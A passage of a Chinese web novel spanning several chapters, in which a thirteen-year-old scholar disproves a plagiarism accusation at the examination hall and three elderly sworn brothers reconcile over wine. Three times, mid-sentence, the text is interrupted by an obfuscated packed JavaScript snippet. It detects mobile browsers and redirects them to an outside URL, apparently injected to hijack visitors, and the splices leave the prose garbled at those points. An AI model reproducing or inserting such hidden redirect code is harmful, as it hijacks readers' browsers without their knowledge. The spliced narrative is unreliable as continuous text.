苏若琳深吸了一口气,堪堪冷静下来,目光如炬:“既然是庆国公的世子夫人替其子讨公道,那想必那位世子夫人和她儿子都在贡院等着呢吧。” 那下官不太明白苏若琳的用意,但还是如实答道:“确,确实如此。” “既如此,那我这个身为母亲的也和我儿一起去对质,总没问题吧?”苏若琳说着就扬手道,“绿俏,去备马车,再叫上三十个壮丁。” 三,三十个壮丁?! “您这是做什么呀!”那下官冷汗涟涟,这夫人脾气也忒火爆了些,这是要在贡院前打起来不成! 就连杨纨枫都朝绿俏摇头,劝道:“母亲,让我自己去就可以,没关系的。” “比起这个,母亲您的手指还在滴血,还是快些去上药吧。” 苏若琳真是又气又心疼,却也无可奈何,她知道自己确实是冲动了,若是对方是冲着她来的,她自有千百方计应对,可是事关自己的儿子,她就乱了方寸。 她叹了口气:“你一个人?” 杨纨枫用力点头:“母亲,相信我。” 陆恒之乐呵呵道:“琳丫头你别担心,待会我和老祝也过去,保管这孩子受不着委屈。” 闻言,苏若琳这才妥协,既然两个老爷子都去兜底了,那定然出不了岔子:“既然如此,那你去吧。” “嗯!”杨纨枫露出两个酒窝,跟着张辅之派来的下官们出了大门。 临上马车前,杨纨枫回头招手:“母亲不用送了,快些回去给伤口上药吧!” 苏若琳闻言低下头去看伤口,被琴弦割破的伤口不大,但是很深,她从方才到现在因为太过愤怒,一直在用力攥着帕子,因此伤口非但没有止血,反而流得更加严重。 此时她缓过神来,才终于感受到了疼痛。 芷若从方才注意到夫人受伤,就回去拿药了,此刻已经回来,连忙给苏若琳止血上药,又包扎好伤口。 苏若琳深吸了一口气:“庆国公府世子夫人,我似乎在哪里听说过?” 红烛提醒道:“回夫人,您先前带着......去霓裳阁的时候,曾经遇到过那位夫人和安康郡主。” 她不敢再提起大小姐,这些年来,府上一切都好,唯独大小姐成为了一个禁忌的话题。 只是这一提醒,苏若琳倒是想起来了:“原来是那个......” 自视甚高的周夫人啊。 苏若琳略微思索了一番:“近来安定郡主那边可有什么消息?” 安康郡主先前还好好的,因着婉枝的缘故,还偶尔请她去府上闲聊,只是从老宁安王病故以后,安康郡主便一直称病闭门谢客,不见任何人。 想来是太过悲痛了吧。 红烛回道:“回夫人,还是老样子,递的拜帖全都被送了回来。” 苏若琳好几次想要去开导安康郡主,毕竟这位可是在这种男子为尊时代,都敢有害死丈夫这种想法的巾帼,奈何对方就是不愿意见她,她也没什么办法。 她叹了口气:“再递一封吧,就说向她打听庆国公府的事。” 春闱的事她并没有打听过什么,纨玦和纨枫的功课她也从来没怎么管过,或许是她对自己的崽太过自信了,却没想到这一个疏忽,竟然让牛鬼蛇神都爬到头上来了。 “那个周夫人的儿子是什么人,春闱成绩如何?” 苏若琳在府里想着对策,而此时,张辅之的下官们已经带着杨纨枫快马加鞭赶往贡院。 等到了贡院门口,周围早已挤满了围观百姓,张辅之坐在上首处,京兆尹和几个京城判官坐在旁边,赫然一副秉公处置的模样。 围观的人群一看到杨纨枫,顿时骚动了起来,维持秩序的官员将醒木往桌上猛地一拍:“肃静!” 周夫人见到苏若琳那个贱人的儿子竟然真得来了,轻蔑的眼中还带着几分惊讶:“好啊,还真有脸过来。” 杨纨枫淡淡地瞥了她一眼:“你都有脸碰瓷,我有什么不好意思来的。” “你!”周夫人被气笑了,“小小年纪就这般伶牙俐齿,真是随了你那出身商户的母亲。” 母子都是一样的贱! 杨纨枫没有再理会周夫人,而是将目光挪向坐在周夫人身旁的贺章之。 后者佝偻着身体,努力掩饰自己的紧张,察觉到杨纨枫在看他时,甚至不敢抬起头回应。 杨纨枫冷笑:“我倒想知道,我哪里抄了你的。” 张辅之对于这么一个少年英才还是很有好感的,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144757|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才那么一斗嘴,越发让他看到了某位故人的影子,他轻咳了一声:“杨纨枫是吧,坐。” 杨纨枫在周夫人母子的对面落座,张辅之将两人的文章摊开到面前的桌子上,在杨纨枫未到的这段时间里,他已经将两人的文章前前后后看了五遍,实在是不能理解哪里存在抄袭。 若说有什么相似之处,只能是两人的思路碰巧一致罢了。 他看向周夫人和贺章之:“你们来说说,杨纨枫是怎么抄袭贺章之的?” 对于这种在这么多人面前公堂论断的行为,周夫人一向是不屑的,女子即使嫁了人,也不该过于抛头露面,更何况还是当着这么多平头百姓的面,实在是有损颜面。 若不是为了替她儿子讨一个公道,她怎么可能允许那些贱民看到她的脸。 至于开口?那就更不可能开口了,周夫人瞥了一眼边上的管事,管事当即会意,上前一步道:“回太师,杨公子自童试于我家世孙相识,此后更是多次计谋亲近我家世孙,向世孙讨要了许多请柬。” “然而自秋闱以后,杨公子却突然不再理会我家世孙,直至春闱,在考场时向我家世孙主动攀谈策论的题目,我家世孙随后应了几句,竟不成想刚好押中了策论的题目。” “而杨公子此文章,与我家世孙当时说的一模一样。” 此言一出,全场哗然,杨纨枫不禁冷笑出声,好一出莫须有的罪名啊。 张辅之看向杨纨枫:“对方所言,你可认?” 杨纨枫冷声道:“满口胡言,如何能认?” 周夫人又瞥了管事一眼,管事呈上了一本账录:“自我庆国公府所处的请帖拜帖皆有记录,杨公子向我家世孙讨要请帖三十余封。” “另外,自童试至春闱,皆有考生目睹杨公子接近我家世孙,人证就在外面,太师可随时传唤,一问便知。” “哦?”张辅之挑眉,“那就把证人都传唤过来。” 很快,证人们就到了,老人少年,不一而足,竟足足有七人。 贡院门前本来就围满了观众,空地并不富裕,如今这七人一字排开,竟显得无比拥挤。 这么多的人证,这下原本不相信庆国公府话语的人们也不禁存疑了。 张辅之依次询问了那些证人,口供统一,这样一来又增加了许多可信度,有些人已经开始朝杨纨枫投去了鄙夷的目光。 “什么嘛,原来连中五元是抄的!” “我呸!亏得我还让我家儿子把你的画像挂在床头,真是晦气!” 周夫人暗笑,这正是她要的效果,先从气势上打压对方。 连中五元又如何,不过是个十三岁的少年,还是那个商户女的儿子,肯定没见过世面,如今被舆论一压,只会害怕紧张。 而只要他有一丁点害怕紧张的迹象,那都可以说是他做贼心虚,毕竟,你要是身正不怕影子斜,那你紧张什么呢? 若是周夫人这个推测用在一般的少年身上,倒也算合理,问题是,杨纨枫是什么人? 自十岁那年被从柴房里带出来后,他就不再惧怕任何事物,此时此刻,这些人的嘴脸只让他觉得厌恶。 张辅之捋着胡子观察杨纨枫,见对方神色如常,问道:“杨纨枫,你有什么想说的?” “我有一个问题。”杨纨枫站起身,“贺公子既然说我的文章同你考试前所说的话语一模一样,那么我想问,你当时说的话是哪几句?” 75. 第 75 章 听到点名,贺章之猛地抬起头,仿佛如梦初醒一般,用手帕擦干额头的汗:“应是......‘遂以渠引流,于江边引篝火,日夜不息......’这一大段。” “应是?”杨纨枫不禁勾唇冷笑,“那么我想问,为何要于江边日夜升起篝火?这样既费时又费力,那年京城外的流民多了三倍不止,干脆就让那些流民去打捞疫民尸体再集中烧掉,将江水引流到江南入海,这样省钱省力,还把损失降到了最小,何乐而不为?” 此言一出,满场震惊。 许多官员难以置信地看着杨纨枫,你小子知道你在说什么吗! 这是在草芥人命啊! 而在围观的百姓里,也有一些江南百姓,此时听到杨纨枫的言论,只恨自己从前竟然还以其为表率。 他们从前还以为这小子有什么大才学,原来就只是个看不起他们南方人的京城纨绔! 而贺章之听到这番言论,却是罕见地赞同,实际上,他原本也是打算这么写的。 他舒了口气:“此法子正是我的备用方案,想来杨公子与我当初所想本是一样的,明明这法子也不错,杨公子何苦一定要抄袭我呢?” 江南的百姓们简直下巴都要掉到地下了,难道京城的贵少爷都不在乎他们的死活吗! 杨纨枫“呵”了一声,慢悠悠道:“我是问你,为什么要废弃这个方案,选择费时费力的那个。” 贺章之一时哑口无言。 为什么?他也想知道啊!杨纨枫为什么犯傻放着最简单方便的法子不用,却偏偏用最费劲的法子! 而且这个费劲的法子还让他俩拿了前二,那就说明这个法子一定比他自己的法子好! “......因为,这个法子更好。” “为什么更好?”杨纨枫歪着头,“不是这个法子费时费力吗?” 贺章之咽了咽唾沫:“因为,毕竟我在考试前是这么说的,临时变更思路非君子所为。” “君子?”杨纨枫到底没忍住,笑出了声。 有人没忍住,骂了出来:“放你妈的君子!” 紧接着,人群里接二连三响起了叫骂声。 “你他妈不把人命当命看啊!” “就只有你们京城人的命是命吗!我们就活该去死?!” 贺章之不知所措地看着四周。 这些贱民......他们本就没什么价值,能够为了大楚而牺牲,总比一辈子待在烂泥地里强吧?! 他们为什么不愿意?! 叫骂声越来越响亮,络绎不绝,逐渐要将他淹没,忽地,台上响起了惊堂木的声音:“肃静!” 随后下官们来到人群里维持秩序,场面这才渐渐安静了下来。 贺章之仿佛从水里终于挣扎上岸一般,大口地喘着粗气。 张辅之高深莫测地看着杨纨枫:“你想说什么?” 杨纨枫“蹭”地一下站了起来:“为什么你不用?” 他缓缓来到贺章之面前:“原因,这些百姓都已经告诉你了,因为你不把人当人看啊!” “生火用的木材柴火乃外物,身外之物哪有人命重要?站在江边日夜不休值守乃官员的责任,欲戴其冠必承其重。”杨纨枫锐利的目光看着贺章之,步步紧逼,“你觉得省时省力的方法,看样子是省了人力物力,还让京城外流民有了去处,省了守城将士维持秩序的压力,你肯定觉得一箭双雕吧?” “可这是以江南百姓的人命为代价!” “因为你从未将平民百姓放在眼里,或者说在你眼里,那些百姓的人命怕是连木材柴火都不如吧?” 杨纨枫嘲讽道:“你这样的人若是做了官,那我看大楚才是真完了。” “你!”贺章之张口,猛地吐出了一大口鲜血,随后眼前一黑,栽倒在了地上。 “我的儿!”周夫人惊慌地抱住贺章之,颤抖地指着杨纨枫,目眦欲裂,“你不仅盗取我儿的功名,你还要害死他!” “真的吗?”杨纨枫居高临下地看着周夫人,“有关这场水患的问题,我早在府试时便当众谈过,那时你儿子正好在人群里听着。” “真的不是你儿子抄袭了我的文章,还倒打一耙吗?” “你贼喊捉贼!”周夫人嘶吼,“人证物证皆在,你还有什么可狡辩的!” 她面容扭曲地看向下人们,叫喊道:“给我把那个小贱人乱棍打死!杖毙!!!” “我看谁敢动我学生!” 一道洪亮的声音响在人群里,仿佛带着某种号召般的力量,与不容抗拒的威严,人群纷纷让开了一条道路,一个瘸了一条腿的老人拄着腋拐缓缓走了出来。 祝贤盛锐利的目光看着周夫人,配着那头平日里不修边幅的散乱银发,看起来仿佛一头雄狮。 巨大的压迫之下,周夫人全身都充满一种想要不顾一切落荒而逃的冲动。 笑话!这个老头浑身穿的都是粗布麻衣,还是个瘸子,如何能来这么大的气势! 她几乎是求救般地望着张辅之:“他们无凭无据,求太师大人还我儿一个公道啊!” “证据也是能伪造的啊。”另一道苍老的声音自人群里传来。 在场人无不瞪大双眼:“儒圣先生!” 围观在贡院的考生纷纷行礼:“小辈见过儒圣!” 无数人的声音竟不约而同地凑到了一起,一时间,场面声势之浩大。 陆恒之依旧是那副乐呵呵地模样:“这个春闱,诸生都考得不错,等到殿试了金榜题名啊!” “借您吉言!”考生们兴奋地回复道。 随后陆恒之走到杨纨枫身边,拍了拍后者的肩膀:“我啊,是来给这孩子作担保的,若是他的文章有一丁点水分,那我替他来担这个责!” 此言一出,满堂皆惊。 儒圣在给杨公子做担保! 这谁还敢怀疑他抄袭啊? 周夫人失魂落魄地跌坐到了地上,她无论如何都没有想到,那个贱人的儿子竟然和儒圣关系匪浅! “依我看啊,这些证人可能有些问题。”陆恒之笑着看向张辅之,“我建议,再找几个府试在京城考场的考生,问问他们纨枫是否真得当众谈过江南水灾。” “太师大人觉得如何?” 张辅之冷哼了一声,他算是知道为什么杨纨枫的气质像他的故人了。 真不愧是师生啊,简直就是一个模子里刻出来的! “不用了。”张辅之冷声道,“我以太师名义担保,杨纨枫并未抄袭,今日之事到此为止。” “有关杨纨枫和贺章之之间的抄袭一事,回头我会派人详细调查,清白者自是清白,若是有诬告......依法论处!” “散堂!” 话音未落,官员们已经站起身开始疏散群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144758|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众,最前排的人纷纷朝周夫人啐道:“真是贼喊捉贼!” “原来不把人当人看的是你们!还要诬陷人家杨公子!” “怎么这么不要脸呢!” 第一次这般被平民对待,周夫人的眼中比起嫌恶,更多的是迷茫。 为什么......太师和儒圣都站在那个小贱人那一边? 难道那个贱人的儿子真得没有抄袭,自己的儿子才是抄袭的那个? 不,不可能,绝对不可能,自己的儿子怎么可能连那个低贱的商户女的儿子都不如! “这不可能!”周夫人大笑,“你个低贱的商户女,用的什么法子贿赂太师和儒圣!” “对,贿赂,对......没错,你娘家经商,所以你就用钱贿赂,竟使些卑鄙的手段!” 尚未离开的人见到周夫人这副疯癫的模样,连唾弃都没了兴致,不住地摇头,啧啧啧。 人群渐渐稀疏,这时,一辆马车自远处行驶而来,稳稳地拦在了人群面前。 一道悦耳的声音自马车里传来:“究竟是谁卑鄙下流,花钱贿赂考生作伪证,周夫人,你可要想清楚在说话。” 此言一出,还没走远的人们也都退了回来,又有什么大瓜! 一双白皙娇嫩的玉手掀开马车的门帘,露出苏若琳那张国色天香的面容,她缓缓走下马车,华美的金线红裙衬得她雍容华贵,步履婆娑的身姿更是夺人神魂。 这是哪家的贵族千金? 杨纨枫连忙来到苏若琳身边,含笑道:“母亲!” 苏若琳揉了揉杨纨枫的头:“看来我来晚了呢。” 杨纨枫摇头:“不晚,母亲刚好来见证结果!” 众人大惊,这就是杨公子的母亲?!这看着更像姐弟吧! 周夫人连忙站起身,抚平自己衣服上的褶皱,可因着方才那场闹剧,她的头发已经有些散乱,甚至有发簪都掉到了地上,而那身本打理的一丝不苟的衣裙更是站了不少土。 再加上她那难看的脸色,从前保养得当的脸蛋此刻将法令纹都暴露了出来,整个人都苍老了许多。 周夫人看了看缓缓走来的苏若琳,再看向灰扑扑的自己,心情如坠冰窖。 而围观者的言论更是在摧毁她的新房。 “依我看啊,还是这位夫人更像国公夫人呢!” “瞧瞧人家那气质,那一颦一笑,都是大家风范,哪是那个庆国公世子夫人能比的?” “上梁不正下梁歪哦,母亲什么样,教养出来的儿子就是什么德行!” 周夫人忽地感觉自己胸口闷得难受,喉间涌出一股腥甜,吐出了一口鲜血,随后便失去了意识。 “呀!周夫人也晕倒了!” “怎么这母子都晕倒了,也没人喊个大夫啊!” 周围人影晃动,热闹得厉害,只是这对母子都看不到了。 他们晕倒前唯一清楚的一件事就是,贺章之此生的仕途已经被断送了。 贡院门前人声鼎沸,一个侍卫躲在暗处记录着一切,随后收起纸笔,封好书信,快马加鞭北上,算算日子,王爷也快凯旋而归了吧。 下官们忙着疏散群众,庆国公府的下人们把世子夫人和世孙带走,京兆尹领了命令好好彻查此事,随后也告辞了。 忙完一切的张辅之来到祝陆两人身前,面色阴沉:“老祝来京城这事,你早就知道了?” 76. 两老顽童被大哥训 祝贤盛和陆恒之那都是什么人,活了大半辈子,见识过了高山阔海,什么能让他俩变脸色? 答曰:他们的大哥张辅之。 此时此刻,两位“我什么没见识过”的老顽童居然露出了拘谨的神色,像两个调皮捣蛋被家长抓包的小孩。 若是苏若琳和杨纨枫这些小辈肯回头看看,决计得给张辅之跪下磕一个不可。 “嗯,这个嘛......”陆恒之轻咳了一声,“嗨呀,谁不知道老张你日理万机啊,一天天忙得跟个陀螺似的,怎么能因为一点小事打扰你呢,是不?” “小事?怕打扰我?”张辅之气笑了,指着祝贤盛问他,“他来京城多久了?学生都考上会元了,没个五六年不行吧!” “他腿瘸出不了门,你也瘸了是吗!”张辅之几乎要吼了出来。 这几十年前,他给祝贤盛寄的书信少说得有上百封,全部石沉大海,现在就连祝贤盛回来的事,这俩人都合起火来瞒着他,是不把他当兄弟了吗! “也没五六年,这才刚四年。”陆恒之小声辩解了一句。 “你还有理了是吧?!”张辅之更火了,“陆恒之,你是要气死我是吧!” 迎着劈头盖脸的训斥,堂堂儒圣再不敢还嘴,当然陆恒之也知道,这事是他们俩有错在先。 唉......让他骂吧,多出点气,少点伤心啊。 祝贤盛看不下去了,坦白道:“这事不怪老陆,是我让他不告诉你的。” 听到是祝贤盛授意,张辅之的训斥声戛然而止,他几乎整个人都停止了一般。 过了许久,他才堪堪回过神:“你这么多年都在芥蒂我,就因为那件事?” 过了十几年,张辅之终于醒悟,为什么自当年柳州一别后,他寄出的那些书信,连同祝贤盛整个人都杳无音讯。 若说方才他还带着气愤,那么此时此刻,他才是真正的寒心。 他指着祝贤盛,手都在微微颤抖:“好啊你,你可真是好样的!” “不全是因为你。”祝贤盛有些烦躁,“这些年我也没理老陆,你俩的信我都没回过。” 扔下这句话,祝贤盛转身就要走,陆恒之见状连忙上去要拉他,却被张辅之拦住了:“......算了。” 张辅之望着祝贤盛渐渐远去的背影,时隔多年,当初那个意气风发的青年才俊已经不再年轻,走路不再顺畅,身影都有些佝偻。 ......他的心,已经死了几十年了啊。 张辅之的声音有些沙哑:“他现在在哪住着?” 陆恒之眼睛瞥向别处,不敢看张辅之:“在安定侯府住着,那红衣丫头是他干孙女,不出意外,他以后就在安定侯府养老了。” “他没娶妻生子?”张辅之颇为意外。 “你觉得呢?”陆恒之反问他,“当年那场横祸,他不仅没了一条腿,连亲人都葬送了,他没去寻死都已经不错了,你还指望着他接纳别人?” “......”良久,张辅之叹了口气,“等到晚上吧,晚上带几瓶酒再去看他。” 讲到此,张辅之顿了顿:“你刚才说,老祝才回来四年?他那个学生是他来京城之后才教的?” “对。”陆恒之点头,“而且纨枫那孩子之前没开蒙过。” “?”张辅之回过味来了,“你是说,四年前,那小子才跟着老祝开蒙,然后念了四年书,就在春闱拿了会元?” “可不是嘛!”陆恒之一拍手,此时此刻,看到一本正经的老张竟然露出和自己当年一模一样的、呆滞的神情,他被爽到了。 这可真是他这辈子头回见,哈哈哈。 “不是,你等等。”张辅之回过神,“那小子今年多大?” 看那样子,最多十五岁,不能再大了。 “今年十三。”陆恒之比了个“三”的手势,“九岁开蒙,晚了其他贵族子弟至少两年。” 张辅之深吸了一口气:“老祝收了个小时候的自己当学生?难怪愿意回来。” “何止啊,老祝当年连中四元的时候不也弱冠了?这天资就算是他自己都比不上。”陆恒之说着笑了一声,“纨枫那小子还有个和他一样大的弟弟,也是个有天分的。” “那他那个弟弟没考春闱?”张辅之努力回忆了一下,春闱里还有个叫杨纨玦的,是那小子的兄长,这个他有印象,至于其他的考生里边......没有叫杨纨什么的啊? “纨岚没考,下海经商去了。” “......?” 不是说他张辅之看不起商户,能考科举走仕途做官,何苦去外边走南闯北风吹日晒? 陆恒之看出了他心中所想:“你不懂,天赋这种东西,不是光念书念的好才叫有天赋,有些人就适合去走那些其他的路子。” 张辅之冷笑了一声:“你又懂了是吧。” “对。”陆恒之颇为自豪,“我这些年走南闯北,四海游学,可不是白去的。” “得得得。”张辅之懒得搭理他,末了又叹了口气,“你跟我一道回府去。” 陆恒之福至心灵:“你不会?” “你那坛珍藏了十来年的屠苏,终于肯拿出来了?” 张辅之哼了一声,并未回答。 那坛先帝御赐的屠苏,本来他就是打算等到哥三个团聚的时候开的。 本来以为或许此生都没有机会了,没想到天随人愿。 这可把陆恒之激动坏了:“哎哟,那咱俩也别在这杵着了,赶紧去啊!” 张辅之鄙视地看着他:“收收你的嘴脸。” “那你说,现在不赶紧开你打算多怎开?”陆恒之理直气壮,“本来咱哥几个就没剩几年活头了,你还打算等到咱们死了以后再开?” 张辅之:“......” 唉,骂不过呀,骂不过。 哥俩吵闹的空当,安定侯府的马车俨然已经在大门前停下,祝贤盛被苏若琳搀扶着下了马车。 一路上祝贤盛都沉默不语,苏若琳实在是有些担心:“祝爷爷,您还好吗?” 祝贤盛这才回过神,含糊道:“我?挺好的。” “没什么大事,你别瞎担心。”祝贤盛摆了摆手,便拄着拐自己往前走去,“纨枫,今日的课业还没查完,跟我走。” 苏若琳叹了口气,老爷子这肯定是有心事啊。 他们哥仨当年都是兄弟,当初见到陆恒之的时候老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177245|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还是很高兴的,怎么如今见到了张辅之却变得心事重重的了? 想来是很深的陈年旧事了,只是老爷子不说,她也没法问没法提。 苏若琳拍了拍杨纨枫的肩膀,后者对她点点头:“母亲,交给我吧。” 等到一老一小回了院子,杨纨玦和钱志远纷纷出来迎接:“如何,没事了吧?” 杨纨枫勾起一双杏目,浅浅地笑了:“当然。” 而后两人又看向祝贤盛,却见老爷子心不在焉,甚至有些阴沉,自顾自地就往屋里走去。 “......?”杨纨玦凑近杨纨枫,小声问道,“老爷子这是怎么了?” 钱志远也问道:“你把老爷子气着了?” “不是我。”杨纨枫脸色黑了黑,“老爷子有心事。” “老爷子也能有心事啊。”钱志远摸着下巴,他从最开始见到祝贤盛的时候,对老爷子的印象就是这老爷子嘴是真毒啊,再后来老爷子和儒生俩人呆一块。那就是一对老顽童。 他们都从未见过老爷子如此沉闷的时候。 钱志远叹了口气:“要是纨岚那小子在就好了。” 那小子最会逗人开心。 整整一个下午,祝贤盛都魂不守舍,说好了要查杨纨枫的课业也没查,三个小子犹犹豫豫想开口关心几句,但是完全不知道怎么开口。 直到傍晚时分,一辆马车缓缓停到了安定侯府大门前。 张辅之被陆恒之从马车上拽了下来:“早不来晚不来,你非得等饭点再来上门是个什么意思!” 这要真是老祝的家也就算了,问题这不是啊! 说白了老祝就是借住在人家家里,这个点贸然叨扰人家,就算老祝不介意,就算老祝他干孙女不介意,那安定侯能不介意?! “哎呀你不懂。”陆恒之扯着张辅之的袖子,就往门口走,“他家的饭菜京城一绝,连饕餮楼都比不过。” 张辅之气得脸发青:“我看你这些年走南闯北,旁的没什么进步,脸皮是磨得越来越厚了!” 陆恒之拽他的袖子往前走,他就拽着自己的袖子往后退,两个老头就这么大晚上的互相拉扯着,僵持了半天。 抱着屠苏酒坛子的下人眼观鼻鼻观心,暗叹儒圣真不愧是儒圣,太师这么正经的一个人,普天之下怕是连圣上都不敢惹,却偏偏每次都能被儒圣气到冒火。 最后陆恒之拽不过他,干脆撒了手,直接来到门口前边敲门。 大门很快打开了一条缝,守门一看是陆恒之,连忙把门打开:“先生您来了!” “对啊,我来了。”陆恒之笑着问道,“你们府上现在刚好到饭点对吧?” 张辅之实在是丢不起这个人,连忙往马车里钻。 “正是!”守门一拍大腿,“您来的刚刚好!” “可不是嘛,我专门算着点来的!”陆恒之骄傲道。 话音未落,上马车迈到一半的张辅之一个趔趄,差点从马车上跌下来。 陆恒之!!! 你还要点脸吗!!! 听到声响,守门连忙往马车看去,就见到那位传说中的太师差点摔了一个狗吃屎。 “太,太师大人?!” 77. 隔阂 张辅之被下人扶着缓缓直起身,拍了拍衣摆轻咳了一声:“敢问祝贤盛可在府上?” “在,当然在!”一听是来找祝老爷子的,下人当即堆起一个笑脸,“老爷子正在自个儿屋里呢,您二位快请进!” 两人跟着下人进了门,陆恒之用鼻子使劲嗅了嗅,当即道:“你们府上今个晚饭有番茄炒蛋!” “可不是嘛,您真是神算啊!”下人笑着附和道,“今个祝老爷子特意吩咐的多备一道甜口,这会子晚膳应当刚好送过去,本来还想着给您们再开坛好酒的,如今怕是我们府上再好的酒也比不上您二位带来的这坛吧!” 陆恒之大笑:“你这小子鼻子是真好使啊!” 下人笑嘻嘻地引着两人到了祝贤盛的院子,便拱手作揖,告辞了。 “有什么事您二位再吩咐,小的随叫随到!” “嗯,去吧!”陆恒之朝着那下人挥了挥手,张辅之哼了一声,“你倒是在这安定侯府上混熟了。” “你不知道,这府上新鲜事多着呢。”陆恒之说完,便拉着张辅之进了屋子。 张辅之眉头紧皱:“你这不敲门的习惯能不能改改?” “我进别人屋又不这样。”陆恒之满不在乎道,“难不成你和老祝的屋里能藏着什么见不得人的东西?” 张辅之深吸了口气,压住要发出来的火:“他人呢?” “肯定在内间。”陆恒之说罢径直往内间走去,“这边。” 而此时的内间,紫檀木地的八仙桌上摆满了一大桌子菜,坐在桌前的祝贤盛却迟迟不动筷子,就坐在那干等着。 三个小辈站在边上面面相觑,钱志远附到杨纨枫耳边小声道:“先生等什么呢?” 杨纨枫淡声道:“等人。” “等谁?” 还未等杨纨枫开口,一根木拐便敲到了钱志远屁股上:“哎哟!” 祝贤盛瞪了他一眼:“你仨还不走,不是说了今个晚上不在我院里吃。” 钱志远苦着脸吐了吐舌头,那还不是怕您有个什么状况啊。 老爷子都那么大年纪了,如今这精神状态又这么差,万一有个三长两短这谁放得下心啊。 当然这话他不敢说,这要是说了,有个三长两短的估计就得是他了。 杨纨枫叹了口气,刚要开口说点什么,内间的门帘忽地被掀开了,陆恒之的声音如约而至:“老祝你又欺负学生啦!” 祝贤盛没好气道:“又不是你学生,和你有什么关系。” “行行行,和我没关系。”陆恒之摆了摆手,“你看看我带谁来了?” 说罢,他侧过身让开了一条路,又一只枯槁沧桑的手掀开了门帘,张辅之缓步走了进来。 杨纨玦和钱志远差点惊掉了下巴。 太师大人?! 老爷子等的居然是那位代行丞相之职、身居百官之长的张太师? 见到来者,祝贤盛别扭地转头看向别去,然后发现仨小子还在这站着,连忙吼了一声:“赶紧滚,别在这碍我眼!” 杨纨枫反应最快,杨纨枫也随后反应了过来,俩人立马作了一揖,然后拽着还愣神的钱志远一溜烟跑了。 祝贤盛极不自然地看了俩人一眼:“别站着了,坐。” 张辅之环视了一眼内室:“你这住的地方不错。” 比从前还好。 他们三个里边,其实出身最好的是祝贤盛,祝贤盛家原本是地主,不过后来遭逢横祸之后,家里田地和值钱的东西该变卖的也都卖的差不多了,只剩下一个空荡荡的院子。 倒是他和老陆,虽然都是布衣出身,后面却都青云直上。 老陆生性不受拘束,便拒了翰林院的职位,专心做学问,最后成为了名扬天下的儒圣;而他步入仕途,平步青云,最终坐上了一人之下、万人之上的位子。 祝贤盛哼了一声:“再不错也比不上高祖御赐的太师府。” 张辅之冷笑,并未答话,陆恒之见气氛不对,连忙上来打圆场:“这么一大桌子菜,你俩再不吃饭可就凉了啊。” 说着往桌上一看,调笑道:“不多不少三双碗筷,你这可不就是等我俩呢吗!” 祝贤盛瞪了他一眼:“吃个饭都堵不上你的嘴。” 张辅之瞥了一眼桌上丰富的菜肴,拿起属于他的那双筷子,笑了。 陆恒之看向张辅之道:“正好他不欢迎咱俩,那坛屠苏酒咱俩开了就得了,他不乐意喝。” “我什么时候说我不乐意喝了!”祝贤盛敲了敲桌子,“吃着我的饭菜,还想着自己喝独酒?!” 陆恒之大笑,张辅之朝后面的下人招了招手,下人当即抱着酒坛子过来打开,顿时屋内酒香四溢。 “不愧是几十年的陈酿啊。”陆恒之感叹了一声,把酒杯递了过去,“满上!” “好嘞!”下人应道,给三人都满上了一大杯。 张辅之忽地有些恍惚,几十年前,柳州翠湖亭下,当时祝贤盛也是这么豪迈地吩咐他家的下人,把一坛新酿的屠苏打开,给他们仨都满上。 几十年了,他们早就变了,如今却又仿佛什么都没变。 现在这就很好了。 喝了酒,仿佛从前说不出口的话也都能说出口了,哥仨就着一大桌子菜,不知不觉聊到了从前。 张辅之已经喝红脸了,他“蹭”地一下子站起身,指着祝贤盛:“你不就是因为我抢了你的位子,你心里不平,才不愿意见我!” 祝贤盛同样满身酒气:“你,你为什么不接受高祖的封官,那可是丞相!” “你觉得我稀罕那个破丞相的位子吗!”张辅之眼眶泛红,“那个位子是你的,我从来没想着要过,就这样你还不愿意见我!” 祝贤盛低下头,半晌,忽地笑了:“该是你的,你就去拿呗,反正我已经坐不上那个位子了。” “我再说一遍。”张辅之把酒杯重重地敲在桌上,死死地看着祝贤盛,“那个位子我不稀罕。” “哈哈哈,好一个不稀罕。”祝贤盛扶着桌子,摇摇晃晃地站起身,“你不稀罕,可我稀罕!” “你都知道我坐不上了,你替我坐上去也好啊!”祝贤盛指着他,“可你干什么了?当着百官的面拒旨,好大的气派!最后只落得了个太师的虚衔!” “你放屁!”张辅之几十年来第一次爆了粗口,“谁说我是虚衔!我是平时不管事,那是我懒得管!高祖的那句‘代行百官之责’你当是说着玩的吗!” “你也知道是高祖说的啊!”祝贤盛的身子有些摇晃,“别以为我不知道新帝差点就把你官袍脱了!你现在要是丞相,新帝他敢这么对你?!” “行了行了。”陆恒之劝和道,“你俩啊,就为了这么点小事憋闷在心里这么多年,值得不?” 